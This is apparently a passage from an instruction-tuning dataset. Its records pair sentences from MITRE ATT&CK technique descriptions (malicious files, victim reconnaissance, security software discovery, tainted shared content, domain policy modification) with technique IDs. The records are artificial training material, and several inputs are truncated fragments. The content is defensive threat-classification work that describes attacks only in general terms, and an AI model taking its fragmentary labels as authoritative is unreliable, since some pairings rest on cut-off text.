describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may rely upon a user opening a malicious file in order to gain execution. ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may be subjected to social engineering to get them to open a file that will lead to code execution.", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may be subjected to social engineering to get them to open a file that will lead to code execution. ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file.", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "output": "T1204.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). ### Response: T1204.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's organization that can be used during targeting.", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's organization that can be used during targeting. ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search)", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's business tempo that can be used during targeting.", "output": "T1591.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's business tempo that can be used during targeting. ### Response: T1591.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week.", "output": "T1591.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. ### Response: T1591.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.", "output": "T1591.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources. ### Response: T1591.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1591.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1591.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)", "output": "T1591.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) ### Response: T1591.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))", "output": "T1591.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)) ### Response: T1591.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system.", "output": "T1063", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. ### Response: T1063."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include things such as local firewall rules and anti-virus.", "output": "T1063", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include things such as local firewall rules and anti-virus. ### Response: T1063."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.", "output": "T1063", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. ### Response: T1063."}{"instruction": "List the MITRE techniques contained in the text.", "input": "### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.", "output": "T1063", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software. ### Response: T1063."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's hosts that can be used during targeting.", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's hosts that can be used during targeting. ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation:", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's host hardware that can be used during targeting.", "output": "T1592.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's host hardware that can be used during targeting. ### Response: T1592.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).", "output": "T1592.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). ### Response: T1592.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1592.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1592.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).", "output": "T1592.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). ### Response: T1592.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1592.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1592.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", "output": "T1592.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). ### Response: T1592.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories.", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files.", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system.", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use tainted shared content to move laterally.", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use tainted shared content to move laterally. ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory.", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001).", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs.", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts.", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Retwin Directory Share Pivot)", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Retwin Directory Share Pivot) ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory.", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code.", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The infection could continue to spread via the newly infected file when it is executed by a remote system.", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The infection could continue to spread via the newly infected file when it is executed by a remote system. ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", "output": "T1080", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS. ### Response: T1080."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With sufficient permissions, adversaries can modify domain policy settings.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With sufficient permissions, adversaries can modify domain policy settings. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation:", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207). ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.", "output": "T1484", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that 